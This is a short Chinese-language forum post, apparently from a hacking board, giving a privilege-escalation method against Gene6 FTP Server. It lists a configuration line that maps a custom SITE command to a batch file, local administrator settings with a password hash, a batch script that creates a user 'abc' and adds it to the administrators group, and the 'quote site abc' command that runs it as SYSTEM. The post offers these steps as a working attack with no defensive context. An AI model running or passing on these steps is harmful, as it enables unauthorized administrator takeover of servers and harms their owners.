Gene6 FTP 提权方法
在任意帐户配置文件中添加SiteCommandList0=-1,TQ1,c:\a.bat,0,60,0,0,jidTQ1=命令名
c:\a.bat=实际路径
如果没有修改权限,也可以从本地走~~~
以下为本地管理员配置
IP=127.0.0.1,8021\r\n
GrantAllAccessToLocalHost=0
Enabled=1
Rights=0
Password=58F6E4407FFE8F618CDE3C16FA3360DD
1. 以非特权用户的身份登陆。
2. 打开Gene6 FTP Server控制台，添加FTP用户帐号，如"test"
3. 对FTP server添加新的SITE命令。如果要实现这个操作，你必须将可执行文件映射到新建的SITE命令。详见4和5步。
4. 编写一个名为ABC.bat的.bat文件。
---cut here -------------------------
net user abc /add
net localgroup administrators abc /add
---cut here -------------------------
5. 将这个ABC.bat映射到新建的SITE命令，如ABC
6. 现在就可以获取SYSTEM权限了。使用test用户登陆到FTP server，然后执行以下命令：
ftp>quote site abc
这样就以SYSTEM权限执行了ABC.bat。
当然，还可以映射任何其他可执行文件。
页:
[1]